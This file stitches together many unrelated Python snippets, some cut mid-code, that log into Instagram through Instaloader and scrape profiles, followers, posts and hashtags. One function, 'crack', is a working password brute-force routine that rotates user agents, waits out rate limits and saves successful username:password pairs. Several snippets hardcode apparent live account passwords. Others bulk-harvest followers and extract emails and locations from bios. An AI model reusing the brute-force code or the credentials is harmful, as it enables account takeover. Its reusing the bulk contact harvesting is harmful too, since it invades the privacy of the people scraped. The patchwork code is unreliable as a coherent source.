def download_followers(self): """ Itera sobre a lista de perfis que devem ter a lista de seguidores baixada, realiza o download e armazena na pasta da coleta. """ L = Instaloader() try: L.login(user=self.credentials["user"], passwd=self.credentials["passwd"]) for user in self.users_list: profile = Profile.from_username(L.context, user) if self.followers_max == None: #se nao for dado valor maximo, coleta todos os seguidores self.followers_max = profile.followers print( "Downloading " + str(self.followers_max) + " followers of: ", user) with open( self.path + str(user) + "/followers_" + str(user) + ".json", "w") as f: counter = 0 for follower in profile.get_followers(): if counter == self.followers_max: break f.write("{\"usuario\":\"" + str(user) + "\",\"follower\":\"" + str(follower.username) + "\"}\n") counter = counter + 1 except Exception as e: print(e)
class Insta: def __init__(self): self.loader = Instaloader() try: self.loader.load_session_from_file(USER, f'session-{USER}') except FileNotFoundError: self.loader.context.log( "Session file does not exist yet - Logging in.") if not self.loader.context.is_logged_in: try: self.loader.login(USER, PASSWORD) except TwoFactorAuthRequiredException: self.loader.two_factor_login(input('Code: ')) self.loader.save_session_to_file(f'session-{USER}') if self.loader.context.is_logged_in: self.loader.context.log('Logged in.', end='\n' * 2) def get_unfollowers(self, user): self.loader.context.log( 'Getting list of accounts i\'m subscribed to but not subscribed to me:' ) profile = Profile.from_username(self.loader.context, user) followers = profile.get_followers() followees = profile.get_followees() unfollowers = set(followees).difference(set(followers)) unfollowers_list = [] for unfollower in unfollowers: unfollowers_list.append( f'{unfollower.full_name} @{unfollower.username}') return '\n'.join(unfollowers_list)
def crack(i): usernames = open(i, "r").read().splitlines() idx = 0 for user in usernames: idx += 1 passwords = generatePassword(user) print("[ %d ] Trying: %s" % (idx, user)) for pasw in passwords: print("[!] Try password " + pasw) try: ua = randomUA() print("[!] Set User Agent ~> " + ua) L = Instaloader(user_agent=ua, sleep=True) L.login(user, pasw) saved = open("logins.txt", "a") saved.write(user + ":" + pasw + "\n") saved.close() print(green_color + "[+] Login success " + pasw + normal_color) break except exceptions.BadCredentialsException as Bad: print(red_color + "[-] Unknown password " + pasw + normal_color) except exceptions.TwoFactorAuthRequiredException: print("[-] Privated " + pasw) except exceptions.ConnectionException as e: time.sleep(60) print("[!] Wait 1 minute") except exceptions.InvalidArgumentException: print("[-] Username not found") break print("-" * 50)
def get_follow_list(self, username=None, which_list="following", amount=None): """ Get the complete list or a specific amount of followers or followees of a user using instaloader package. """ # Interesting to measure how long a list takes to be retrieved t_start = datetime.datetime.now() L = Instaloader() L.login(self.username, self.password) if username is None: username = self.username profile = Profile.from_username(L.context, username) if which_list == "following": follow_node = profile.get_followees() elif which_list == "followers": follow_node = profile.get_followers() follow = [f.username for f in follow_node] if amount: follow = random.sample(follow, amount) t_end = datetime.datetime.now() elapsed = (t_end - t_start).total_seconds() print(f"It took {elapsed} seconds to retrieve the list " f"of {len(follow)} {which_list}\n" + "-" * 50) return follow
def get_loader(username, password, quiet=False): loader = Instaloader(quiet=quiet, download_videos=False, download_comments=False, download_geotags=False, download_video_thumbnails=False) loader.login(username, password) return loader
def safe_login(loader: Instaloader, username: str, password: str, session_path: str = './session.pickle'): if os.path.exists(session_path): loader.load_session_from_file(username, session_path) else: loader.login(username, password) loader.save_session_to_file(session_path)
def scrape_artists_from_file(filename_artists: Union[Path, str], save_path: Union[Path, str], delimiter: str = ',', max_posts: int = 50) -> None: """Scrapes specific artists specified in csv file and save to data directory Args ---------- filename_artists : csvfile with all the artists instagram profile names save_path : save path for downloaded images and comments delimiter : delimiter for csv file max_posts : maximum posts allowed Returns ------- None """ # Load artists instagram handles from file with open(path_scripts / filename_artists) as csvfile: artist_reader = csv.reader(csvfile, delimiter=delimiter) # (# at beginning of artist name means artist already dl'ed) artist_names = [artist[0] for artist in artist_reader if artist[0][0] != '#'] # save current working directory and change to desired save directory since can't be specified # in instaloader cur_wd = os.getcwd() if not os.path.exists(save_path): os.makedirs(save_path) os.chdir(save_path) print(save_path) # Setup the scraper and only download images, tags, and text from posts insta_sess = Instaloader(quiet=True, download_comments=False, download_pictures=True, download_videos=False, download_video_thumbnails=False, download_geotags=False) # login using load session file by running: instaloader -l username from command line and # inputting password insta_user, insta_pass = get_insta_creds(path_scripts / ".insta-credentials") insta_sess.login(insta_user, insta_pass) # insta_sess.load_session_from_file("Mspencer02") # loop through instagram handles downloading `max_posts` posts from each for insta_handle in artist_names: print("Starting to download profile: " + insta_handle) # Catches the error in case the artist profile doesn't exist anymore try: scrape_instagram_profile_posts(insta_sess, insta_handle, max_posts) except (ProfileNotExistsException, ConnectionException): print("Profile " + insta_handle + " doesn't exist.") # sleeps after each download of an artist for 1 to 3 minutes time.sleep(1 * 60 + random.random() * 120) # Change current working directory back to original working directory os.chdir(cur_wd)
class DownloadProfiles(): """ Realiza download de perfis e posts de usuarios especificados """ def __init__(self, users_list, min_date, sleep, username, password): """ Inicializa objeto """ self._users_list = users_list self._tokenize_date(min_date) self._sleep = sleep self._username = username self._password = password self._out_dir = "data/staging" subprocess.run(["mkdir", "-p", self._out_dir]) self._iloader = Instaloader(download_comments=False, download_pictures=False, download_geotags=False, download_videos=False) self._iloader.login(self._username, self._password) self._iloader.save_session_to_file("./data/session") def _tokenize_date(self, date_str): """ Utilitario que realiza parsing na data dada como parametro """ date_list = date_str.split(",") self._year = int(date_list[0]) self._month = int(date_list[1]) self._day = int(date_list[2]) def download_profiles(self): """ Realiza download de perfis recebidos como entrada """ for user in self._users_list: prof = set() prof.add(Profile.from_username(self._iloader.context, user)) subprocess.run(["mkdir", "-p", str(self._out_dir + "/" + user)]) self._iloader.dirname_pattern = self._out_dir + "/" + str(user) self._iloader.download_profiles( prof, post_filter=lambda post: post.date_utc >= datetime( self._year, self._month, self._day)) time.sleep(self._sleep)
def create_posts_object(profile_name, username, password): """ In order to receive locations of posts we should sign into Instagram account (required by Instagram), otherwise locations would be None :param username: username; :param password: password; :param profile_name: the name of target profile; :return: posts object of Instaloader Profile class; """ L = Instaloader() L.login(username, password) profile = Profile.from_username(L.context, profile_name) posts = profile.get_posts() return posts
def fun(): print('In fun function') l = Instaloader() l.login("username", "Password") df = pandas.read_csv(r'C:\Users\ajain\Downloads\Instagram.csv') st = ''' Andhra Pradesh|Arunachal Pradesh|Assam|Bihar|Karnataka|Kerala|Chhattisgarh|Uttar Pradesh|Goa|Gujarat|Haryana |Maharashtra|Manipur|Meghalaya|Mizoram|Nagaland|Orissa||Punjab|Rajasthan||Sikkim||Tamil Nadu||Telangana|Tripura|Uttarakhand |Himachal Pradesh|Jammu and Kashmir|Jharkhand|West Bengal|Madhya Pradesh ''' for i in df['Instagram URL']: try: profile = Profile.from_username(l.context, i[26:].replace('/', "")) except: continue follower = profile.followers followee = profile.followees name = profile.full_name category = profile.business_category_name Bio = profile.biography s = profile.biography.split('\n') for j in s: m = re.match(st, j, re.IGNORECASE) if m: city = m.group() break else: city = '' for j in s: if re.match('^(\w|\.|\_|\-)+[@](\w|\_|\-|\.)+[.]\w{2,3}$', j): contact = j break else: contact = '' print(city, contact, i) s = insta(follower=follower, followee=followee, name=name, category=category, Bio=Bio, city=city, contact=contact) s.save()
def start(self, screen): self.terminal.show_message( screen, "The scraper is starting. Please keep in mind that the bot may need some time, especially when scraping data from big profiles." ) try: L = Instaloader() L.login(self.options["username"], self.options["password"]) profile = Profile.from_username(L.context, self.options["target"]) users = list() for follower in profile.get_followers(): users.append(follower.username) # self.logger.info(users) self.parser.encode_from_array(RESULT_DIR, users) self.terminal.show_message(screen, "DONE!") except: self.terminal.show_message(screen, "Invalid username or password.")
def load(username,password): loader = Instaloader() login_name = username target_profile = username # login try: loader.load_session_from_file(login_name) except FileNotFoundError: loader.context.log("Session file does not exist yet - Logging in.") if not loader.context.is_logged_in: loader.login(username, password) loader.save_session_to_file() #if user is new, create them a folder to store their lists if not os.path.exists(f"scrape/user_data/@{login_name}"): os.makedirs(f"scrape/user_data/@{login_name}") profile_pic_url, num_posts, biography = get_user_details(loader.context, target_profile) return profile_pic_url, num_posts, biography
def bot_scrape(login_name,passwords,list_user_aa): print(login_name,passwords,list_user_aa) pending_list = [] loader = Instaloader() try: loader.login(login_name, passwords) except: print('cannot login') # cursor.execute( "select * from group_a_users") # list_user_a = cursor.fetchall() for i,each_profile in enumerate(list_user_aa): print('dffsdfsd',each_profile) al_following_a = [] time.sleep(2) try: profile = Profile.from_username(loader.context, each_profile) followees = profile.get_followees() print(f'profile number {i}') loader.context.log('Profile {} has {} followees'.format(profile.username, profile.followees)) for followee in followees: al_following_a.append(followee.username) user_dict_all.update({each_profile:al_following_a}) print("******",al_following_a) if len(al_following_a) == 0 and profile.followees !=0: print('this user is private') pending_list.append(profile.username) # time.sleep(40) except: print(f'user link does not exist {i} {each_profile}') user_dict_all.update({each_profile: "User doesn't exist"}) # time.sleep(40) continue return pending_list
def get_data(target_profile): loader = Instaloader() loader.login("xxxxxxxx", "xxxxxxxxx") profile = Profile.from_username(loader.context, target_profile) num_followers = profile.followers total_num_likes = 0 total_num_comments = 0 total_num_posts = 0 for post in profile.get_posts(): total_num_likes += post.likes total_num_comments += post.comments total_num_posts += 1 engagement = float(total_num_likes + total_num_comments) / (num_followers * total_num_posts) return { "handle": target_profile, "followers": num_followers, "post_count": total_num_posts, "avg_likes_per_post": total_num_likes / total_num_posts, "avg_comments_per_post": total_num_comments / total_num_posts, "Engagement": engagement }
def bot_scrape(login_name, password, list_user_a, list_user_b): print( "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" ) print("dfsdfsdfsad", login_name, password, list_user_a, list_user_b) # mydb = pymysql.connect(host='localhost',user='******',password='******',db='instagram_groups') # cursor = mydb.cursor() # start_scrapping = datetime.now() # now = datetime.now() # add_scrapping = start_scrapping + timedelta(hours=12) # save_date = add_scrapping.strftime("%Y-%m-%d %H:%M") # now_scrapping = start_scrapping.strftime("%Y-%m-%d %H:%M") # sql="update time_updates set time_date=%s ;" # value=(save_date) # cursor.execute(sql,value) # sql="update time_updates set now_date=%s ;" # value=(now_scrapping) # cursor.execute(sql,value) # mydb.commit() # now = datetime.now() pending_list_a = [] pending_list_b = [] # login_name = 'soccer_starrss' loader = Instaloader() login_nam = 'football___legends__' pasword = 'Legends1234' try: loader.login(login_nam, pasword) except: print('cannot login') # user_dict_a = {} # cursor.execute( "select * from group_a_users") # list_user_a = cursor.fetchall() # list_user_aa = ['aurel2fois_','eliemoussafir','william_saliba','lauriennnte','wilson_smk','nikhil.bhaskar'] for i, each_profile in enumerate(list_user_a): al_following_a = [] each_profiles = each_profile time.sleep(2) print(each_profiles) try: profile = Profile.from_username(loader.context, each_profiles) followees = profile.get_followees() print('\n') print('\n') print(f'profile number {i}') loader.context.log('Profile {} has {} followees'.format( profile.username, profile.followees)) print('\n') for followee in followees: al_following_a.append(followee.username) user_dict_a.update({each_profiles: al_following_a}) print("******", al_following_a) if len(al_following_a) == 0 and profile.followees != 0: print('this user is private') pending_list_a.append(profile.username) time.sleep(40) except: print(f'user link does not exist {i} {each_profiles}') user_dict_a.update({each_profiles: "User doesn't exist"}) time.sleep(40) continue # user_dict_b = {} time.sleep(300) # cursor.execute( "select * from group_b_users") # list_user_b = cursor.fetchall() ############################################################################################################################# # All_user_b =['robindes_s' ,'footinveston_agency','mhn.93t','guy2zmo_78','daouda.weidmann','naaelaa94'] loin_name = 'football___heros___' pasword = 'soccerstarts1234' loader = Instaloader() try: loader.login(loin_name, pasword) except: print('cannot login') for i, each_profile in enumerate(list_user_b): al_following_b = [] each_profiles = each_profile time.sleep(2) try: profile = Profile.from_username(loader.context, each_profiles) followees = profile.get_followees() print(f'profile number {i}') loader.context.log('Profile {} has {} followees'.format( profile.username, profile.followees)) for followee in followees: al_following_b.append(followee.username) user_dict_b.update({each_profiles: al_following_b}) print("******", al_following_b) if len(al_following_b) == 0 and profile.followees != 0: print('this user is private') pending_list_b.append(profile.username) time.sleep(40) except: print(f'user link does not exist {i} {each_profiles}') print("user link doesn't exist") user_dict_b.update({each_profiles: "User doesn't exist"}) time.sleep(40) continue return pending_list_a, pending_list_b
import pymongo from instaloader import Instaloader, Profile from langdetect import DetectorFactory, detect connection = pymongo.MongoClient('mongodb://localhost') db = connection['tweets'] collection = db['collection'] loader = Instaloader() NUM_POSTS = 10 loader.login('username', '*****') DetectorFactory.seed = 0 def get_hashtags_posts(query): posts = loader.get_hashtag_posts(query) for post in posts: if detect(post.caption) == 'en': followers = post.owner_profile.followers username = post.owner_profile.username hashtags = post.caption_hashtags text = post.caption likes = post.likes cor = None location = None if post.location != None: cor = [post.location.lat, post.location.lng] location = post.location.name created = post.date
user['engagement'] = engagement * 100 user['num_recent_posts'] = total_num_posts post_freq = 0.0 if (total_num_posts > 0): post_freq = float(MAX_DAYS) / total_num_posts user['post_frequency'] = post_freq return user import threading from instaloader import Instaloader, Profile import pickle loader = Instaloader() NUM_POSTS = 10 loader.login('your username','your password') def get_hashtags_posts(query): posts = loader.get_hashtag_posts(query) users = {} count = 0 for post in posts: profile = post.owner_profile # print(profile.username) summary = get_summary(profile) if summary != None: users[profile.username] = summary count += 1 print('{}: {}'.format(count, users[profile.username])) if count == NUM_POSTS: break
async def _insta_post_downloader(event): """ download instagram post """ await event.edit('`Setting up Configs. Please don\'t flood.`') dirname = 'instadl_{target}' filename = '{target}\'s_post' insta = Instaloader(dirname_pattern=dirname, filename_pattern=filename, download_video_thumbnails=False, download_geotags=False, download_comments=False, save_metadata=False, compress_json=False) if Config.INSTA_ID and Config.INSTA_PASS: # try login try: insta.load_session_from_file(Config.INSTA_ID) await event.edit('`Logged in with current Session`') except FileNotFoundError: await event.edit('`Login required. Trying to login`') try: insta.login(Config.INSTA_ID, Config.INSTA_PASS) except InvalidArgumentException: logger.error('Provided `INSTA_ID` is incorrect') return except BadCredentialsException: logger.error('Provided `INSTA_PASS` is incorrect') return except ConnectionException: logger.error( 'Instagram refused to connect. Try again later or never' ' (your choice)😒') return # This is a nightmare. except TwoFactorAuthRequiredException: # Send a promt for 2FA code in saved messages chat_type = 'Saved Messages' text = ('[**2 Factor Authentication Detected**]\n' f'I have sent a message to {chat_type}. ' 'Please continue there and send your 2FA code.') await event.edit(text) for _ in range(4): # initial convo with the user who sent message in pm. # if user is_self convo in saved messages # else in pm of sudo user async with event.client.conversation( event.chat_id) as asker: asked = await asker.send_message( 'Please reply me with your 2FA code `int`') response = await asker.wait_event( events.NewMessage(incoming=True, from_users=event.chat_id)) if not response.text: # I said reply me. continue code = response.text if not (code.isdigit() and len(code) == 6): # the six digit code # What else it has always been a six digit code. continue try: insta.two_factor_login(code) break except BadCredentialsException as b_c_e: await asker.edit(b_c_e) except InvalidArgumentException: await asked.edit('`No pending Login Found`') return else: try: insta.save_session_to_file() except LoginRequiredException: logger.error( 'Failed to save session file, probably due to invalid login.' ) await asyncio.sleep(5) else: await event.edit( 'Login Credentials not found.\n`[NOTE]`: ' '**You may not be able to download private contents or so**') await asyncio.sleep(2) p = r'^(?:https?:\/\/)?(?:www\.)?(?:instagram\.com.*\/(p|tv|reel)\/)([\d\w\-_]+)(?:\/)?(\?.*)?$' match = re.search(p, event.pattern_match.group(1)) if match: dtypes = {'p': 'POST', 'tv': 'IGTV', 'reel': 'REELS'} d_t = dtypes.get(match.group(1)) if not d_t: logger.error('Unsupported Format') return sent = await event.edit(f'`Fetching {d_t} Content.`') shortcode = match.group(2) post = get_post(insta, shortcode) try: download_post(insta, post) await upload_to_tg(event, dirname.format(target=post.owner_username), post) except (KeyError, LoginRequiredException): logger.error("Post is private. Login and try again") return except errors.FloodWaitError: await asyncio.sleep(15) await upload_to_tg(event, dirname.format(target=post.owner_username), post) finally: shutil.rmtree(dirname.format(target=post.owner_username), ignore_errors=True) await sent.delete() else: logger.error('`Invalid Input`')
from flask import Flask, render_template from instaloader import Instaloader, Profile app = Flask(__name__) L = Instaloader() L.login() profile = Profile.from_username(L.context, 'rishikeshsahoo_2828') list1 = [] list2 = [] list3 = [] for things in profile.get_followers(): list1.append(things.username) for things in profile.get_followees(): list2.append(things.username) for thing in list2: if thing not in list1: list3.append(thing) @app.route('/') def home_page(): print(list3) return render_template('insta.html', list3=list3) if __name__ == "__main__": app.run(debug=True)
import os from instaloader import Instaloader, Profile L = Instaloader() bot_username, bot_password = '******', 'xxxx' # Set valid credentials here L.login(bot_username, bot_password) BASE_DIR = os.path.dirname(os.path.abspath(__file__)) session_filename = f'{BASE_DIR}/session-{bot_username}' L.save_session_to_file(session_filename) # L.load_session_from_file(bot_username, filename) def check_follow(username_x, username_y): # Check if username_x is following username_y profile_x = Profile.from_username(L.context, username_x) profile_y = Profile.from_username(L.context, username_y) is_follow = False for followee in profile_x.get_followees(): if followee.userid == profile_y.userid: is_follow = True break return is_follow result = check_follow('yannick_kiki', 'bombe_robii') print(result)
baseList = [] for word in words: D = get_word_forms(word) baseList.append(word) for k in D: for i in D[k]: if "'" not in i and '"' not in i: baseList.append(i.replace(' ', '_')) baseSet = set(baseList) print(set(baseList)) L = Instaloader() L.login(t['Username'], t['Password']) M = {} g = len(baseSet) cm = 1 if not os.path.exists('backup.csv'): os.system('touch backup.csv') f = open('backup.csv') fCont = f.read() existingSet = [i.split(',')[0] for i in fCont[:-1].split('\n')] existingValues = [i.split(',')[1] for i in fCont[:-1].split('\n')]
pos, edge_color='black', width=1, linewidths=1, node_size=500, node_color='red', alpha=0.9, labels={node: node for node in G.nodes()}) nx.draw_networkx_edge_labels(G, pos, edge_labels=dic, font_color='blue') plt.axis('off') plt.savefig('Network_Graph.png') plt.show() if __name__ == "__main__": USER = "******" PASSWORD = "******" loader.login(USER, PASSWORD) #get_tagged_users_per_each_post(USER) get_all_tagged_users_in_posts_per_day(USER) #print_tagged_dic(tagged_per_day) graph_table = {v: k for k, v in NUMBERED_USERS.items()} print(graph_table) plot_results(EDGES) # instapandemic1 instapandemic # instapandemic2 instapandemic # instademic3 mDZBL5xTSzzFfk8 # instademic4 dfgdfgd345#fdw345@#$DE # instademic5 a9WDRVU3XtqshgG
import os import sys import csv import urllib.parse import urllib.error import ssl import requests from bs4 import BeautifulSoup from instabot import Bot, utils import pandas from itertools import islice import random import re import json #import instaloader from instaloader import Instaloader, Profile username="******" password="******" L = Instaloader() L.login(username, password) target = 'aliandoo' profile = Profile.from_username(L.context, target) print(profile)
from instaloader import Instaloader from instaloader import Hashtag from instaloader import Profile from instaloader import Post old_user = [] new_user = [] saved = open("subang.txt", "a") user = input("Username: "******"Password: "******"majalengka").get_posts(): idx += 1 try: if post.profile in old_user: print ("[ %d ] %s skip" % (idx, post.profile)) else: print ("[ %d ] %s dumped" % (idx, post.profile)) old_user.append(post.profile) new_user.append(post.profile) saved.write(post.profile + "\n") except KeyboardInterrupt: break saved.close()
conn = db.connect('data/sqldb/Ig_Data.db') # Create a 'cursor' for executing commands c = conn.cursor() query = '''SELECT * FROM UsersData WHERE date = {}{}{}'''.format("'", today.date(), "'") dataframe = pd.read_sql(query, conn) users = dataframe['username'].values print('Step 1 Completed...') L = Instaloader() USER = '******' # user with login done PASSWORD = '******' # password of user USERNAME = '******' # the username whose details we need to search. L.login(USER, PASSWORD) # Extracting list of my follower and followees !! profile = Profile.from_username(L.context, USERNAME) followers = [] for follower in profile.get_followers(): followers.append(follower.username) followees = [] for followee in profile.get_followees(): followees.append(followee.username) print('Step 2 completed...') ## Look through the list and confirm that the person I am sending request is not in the list ! # We will only consider toFollow list and will delete other list
from instaloader import Instaloader from instaloader import Hashtag from instaloader import Profile from instaloader import Post i = input("Input file: ") of = input("Output file: ") old_user = [] logins = ["mjk02021", "majalengka"] L = Instaloader() L.login(logins[0], logins[1]) idx = 0 o = open(i, "r").read().splitlines() saved = open(of, "a") for user in o: profile = Profile.from_username(L.context, user) for follower in profile.get_followees(): idx += 1 print ("[ %d ] %s dumped" % (idx, follower.username)) saved.write(follower.username + "\n") saved.close()
"117155528461940603699", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/firebase-adminsdk-m62gv%40instagram-data-scraping.iam.gserviceaccount.com" }) firebase_admin.initialize_app(cred) db = firestore.client() loader = Instaloader() loader.login(os.getenv("IGUSER"), os.getenv("IGPASSWORD")) print(loader.test_login()) data = 1300 users = {} users_ref = db.collection(u'kidwear') docs = users_ref.stream() sim = [] for doc in docs: users[doc.id] = True count = len(users.keys()) count = 0 print(count) def simpro():
from dotenv import dotenv_values from instaloader import Instaloader, Profile from update_db import update_followers, update_posts, update_likes_all_posts, update_followings config = dotenv_values(".env.private") LOGIN = config["LOGIN"] PASSWORD = config["PASSWORD"] if __name__ == "__main__": username = '******' loader = Instaloader() loader.login(LOGIN, PASSWORD) profile = Profile.from_username(username=username, context=loader.context) update_followers(profile) update_followings(profile) update_posts(profile) update_likes_all_posts(loader.context)
async def _insta_post_downloader(message: Message): """ download instagram post """ await message.edit('`Setting up Configs. Please don\'t flood.`') dirname = 'instadl_{target}' filename = '{target}\'s_post' insta = Instaloader( dirname_pattern=dirname, filename_pattern=filename, download_video_thumbnails=False, download_geotags=False, download_comments=False, save_metadata=False, compress_json=False ) if Config.INSTA_ID and Config.INSTA_PASS: # try login try: insta.load_session_from_file(Config.INSTA_ID) await message.edit('`Logged in with current Session`') except FileNotFoundError: await message.edit('`Login required. Trying to login`') try: insta.login(Config.INSTA_ID, Config.INSTA_PASS) except InvalidArgumentException: await message.err('Provided `INSTA_ID` is incorrect') return except BadCredentialsException: await message.err('Provided `INSTA_PASS` is incorrect') return except ConnectionException: await message.err('Instagram refused to connect. Try again later or never' ' (your choice)😒') return # This is a nightmare. except TwoFactorAuthRequiredException: # Send a promt for 2FA code in saved messages chat_type = 'Saved Messages' if message.from_user.is_self else 'Private Message' text = ('[<b>2 Factor Authentication Detected</b>]\n' f'I have sent a message to {chat_type}. ' 'Please continue there and send your 2FA code.') await message.edit(text) for _ in range(4): # initial convo with the user who sent message in pm. # if user is_self convo in saved messages # else in pm of sudo user async with xdecha.conversation(message.from_user.id) as asker: asked = await asker.send_message('Please reply me with your 2FA code `int`') response = await asker.get_response(mark_read=True) if not (response.reply_to_message and response.reply_to_message.is_self): # I said reply me. continue code = response.text if not (code.isdigit() and len(code) == 6): # the six digit code # What else it has always been a six digit code. continue try: insta.two_factor_login(code) break except BadCredentialsException as b_c_e: await asked.err(b_c_e) except InvalidArgumentException: await asked.edit('`No pending Login Found`') return else: try: insta.save_session_to_file() except LoginRequiredException: await message.err('Failed to save session file, probably due to invalid login.') await asyncio.sleep(5) else: await message.edit('Login Credentials not found.\n`[NOTE]`: ' '**You may not be able to download private contents or so**') await asyncio.sleep(2) p = r'^https:\/\/www\.instagram\.com\/(p|tv|reel)\/([A-Za-z0-9\-_]*)\/(\?igshid=[a-zA-Z0-9]*)?$' match = re.search(p, message.input_str) if '-u' in message.flags: username = message.filtered_input_str sent = await message.edit(f'`Fetching all posts of {username}`') profile = await get_profile(insta, username) limit = int(message.flags.get("-l", 0)) count = 0 for post in await get_profile_posts(profile): count += 1 if message.process_is_canceled: await sent.edit("Post Download Interrupted...") await asyncio.sleep(5) break try: await download_post(insta, post) await upload_to_tg(message, dirname.format(target=post.owner_username), post) except FloodWait as f_w: await asyncio.sleep(f_w.x + 10) await upload_to_tg(message, dirname.format(target=post.owner_username), post) except (KeyError, LoginRequiredException): await message.err('Private Content Login Required') return finally: shutil.rmtree(dirname.format(target=post.owner_username), ignore_errors=True) if limit > 0 and count == limit: break await sent.delete() elif match: dtypes = { 'p': 'POST', 'tv': 'IGTV', 'reel': 'REELS' } d_t = dtypes.get(match.group(1)) if not d_t: await message.err('Unsupported Format') return sent = await message.edit(f'`Fetching {d_t} Content.`') shortcode = match.group(2) post = await get_post(insta, shortcode) try: await download_post(insta, post) await upload_to_tg(message, dirname.format(target=post.owner_username), post) except (KeyError, LoginRequiredException): await message.err("Post is private. Login and try again") return except FloodWait as f_w: await asyncio.sleep(f_w.x + 5) await upload_to_tg(message, dirname.format(target=post.owner_username), post) finally: shutil.rmtree(dirname.format(target=post.owner_username), ignore_errors=True) await sent.delete() else: await message.err('`Invalid Input`')
def bot_scrape(login_name, password, list_user_a, list_user_b): mydb = pymysql.connect(host='localhost', user='******', password='******', db='instagram_groups') cursor = mydb.cursor() try: cursor.execute("select * from group_a_users") # demo table data list_user___a_ = cursor.fetchall() cursor.execute( "select * from existing_table") # show all user group B existing_table_d = cursor.fetchall() for all_records_ in list_user___a_: for list__bb_ds_d in existing_table_d: match_uers = list__bb_ds_d[0] a_grooup = all_records_[3] if match_uers == a_grooup: update_users = all_records_[1] val = list__bb_ds_d[1] print(match_uers) print(a_grooup) print(update_users) sql = "select username from existing_table where username=%s;" value = match_uers is_exist = cursor.execute(sql, value) print(is_exist) if is_exist == 1: sql = "update existing_table set username=%s where groua_bp_followers=%s;" value = (update_users, val) cursor.execute(sql, value) mydb.commit() if is_exist == 0: sql = "update existing_table set username=%s where groua_bp_followers=%s;" value = (update_users, val) cursor.execute(sql, value) mydb.commit() except: pass try: cursor.execute("select * from group_b_users") # demo table data list_user___a_ = cursor.fetchall() cursor.execute( "select * from existing_table_1") # show all user group B existing_table_1_u = cursor.fetchall() for all_records_ in list_user___a_: for list_b_ds_d_ in existing_table_1_u: match_uers = list_b_ds_d_[0] a_grooup = all_records_[3] if match_uers == a_grooup: update_users_b = all_records_[1] val = list_b_ds_d_[1] print(match_uers) print(a_grooup) print(update_users_b) sql = "select username from existing_table_1 where username=%s;" value = match_uers is_exist = cursor.execute(sql, value) print(is_exist) if is_exist == 1: sql = "update existing_table_1 set username=%s where groua_bp_followers=%s;" value = (update_users_b, val) cursor.execute(sql, value) mydb.commit() if is_exist == 0: sql = "update existing_table_1 set username=%s where groua_bp_followers=%s;" value = (update_users_b, val) cursor.execute(sql, value) mydb.commit() except: pass print("dfsdfsdfsad", login_name, password, list_user_a, list_user_b) pending_list_a = [] pending_list_b = [] loin_name = 'soccer_superstarzz_' pasword = 'soccer1234556' loader = Instaloader() try: loader.login(loin_name, pasword) except: print('cannot login') for i, each_profile in enumerate(list_user_a): al_following_a = [] each_profiles = each_profile[1] ID = each_profile[2] time.sleep(2) print(each_profiles) if i == 27: loin_name = 'football___foreverr___' pasword = 'soccerstarts123456' loader = Instaloader() try: loader.login(loin_name, pasword) except: print('cannot login') if i == 54: loin_names = '_fitness_spartans' paswords = 'C@lesthenics1698' loader = Instaloader() try: loader.login(loin_names, paswords) except: print('cannot login') try: profile = Profile.from_username(loader.context, each_profiles) followees = profile.get_followees() print('\n') print('\n') print(f'profile number {i}') loader.context.log('Profile {} has {} followees'.format( profile.username, profile.followees)) print('\n') for followee in followees: al_following_a.append(followee.username) user_dict_a.update({each_profiles: al_following_a}) print("******", al_following_a) if len(al_following_a) == 0 and profile.followees != 0: print('this user is private') pending_list_a.append(profile.username) time.sleep(40) except: print(f'user link does not exist {i} {each_profiles}') user_dict_a.update({each_profiles: "Cet utilisateur n'existe pas"}) time.sleep(40) continue nowss = datetime.now() cursor.execute("select * from group_b_users") records = cursor.fetchall() listbs = [] for xss in records: listbs.append(xss[1]) match_all_table_1 = {} cursor.execute( "select * from existing_table") # show all user group B list_users = cursor.fetchall() user_names = [] for all_records in list_users: user_names = all_records[0] following_nams = all_records[1] # print("dsdsadas",following_nams) match_all_table_1.update({user_names: following_nams}) for both_key_, both_val in match_all_table_1.items(): if each_profiles == both_key_: demo_val = str(al_following_a) if both_val == "Cet utilisateur n'existe pas": print("User Not Exisit") else: print( "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-" ) if both_val == demo_val: print( "********************************************************************************", demo_val) else: a = demo_val b = both_val if len(b) > len(a): status_foll = "S'est désabonné @" else: status_foll = "S'est abonné @" a = a.replace('[', '') a = a.replace(']', '') a = a.replace(' ', '') lista = a.split(',') b = b.replace('[', '') b = b.replace(']', '') b = b.replace(' ', '') listb = b.split(',') max_list = [] min_list = [] if len(lista) > len(listb): max_list = lista min_list = listb else: max_list = listb min_list = lista change_list = [] for each in max_list: if each in min_list: pass else: each = each.replace("'", '') print("print_________________", each) if each in listbs: change_list.append(each) if len(change_list) == 0: continue change_ = str(change_list) vals = status_foll + change_ print(str(each_profiles), status_foll, change_list) val = str(vals) sql = "insert into news_feed(username,group_followers,datetime) values (%s,%s,%s);" value = (each_profiles, val, nowss) cursor.execute(sql, value) mydb.commit() else: pass loin_names = 'football___idol___' paswords = 'soccerstarts1234' loader = Instaloader() try: loader.login(loin_names, paswords) except: print('cannot login') for i, each_profile in enumerate(list_user_b): al_following_b = [] each_profiles = each_profile[1] ID = each_profile[2] time.sleep(2) print(each_profiles) if i == 23: loin_names = '_fitness_spartans' paswords = 'C@lesthenics1698' loader = Instaloader() try: loader.login(loin_names, paswords) except: print('cannot login') if i == 55: loin_names = 'football___foreverr___' paswords = 'soccerstarts123456' loader = Instaloader() try: loader.login(loin_names, paswords) except: print('cannot login') if i == 78: loin_name = '_gods_of_soccer_' pasword = 'soccer1234' loader = Instaloader() try: loader.login(loin_name, pasword) except: print('cannot login') if i == 99: loin_name = 'soccer_superstarzz_' pasword = 'soccer1234556' loader = Instaloader() try: loader.login(loin_name, pasword) except: print('cannot login') try: profile = Profile.from_username(loader.context, each_profiles) followees = profile.get_followees() print(f'profile number {i}') 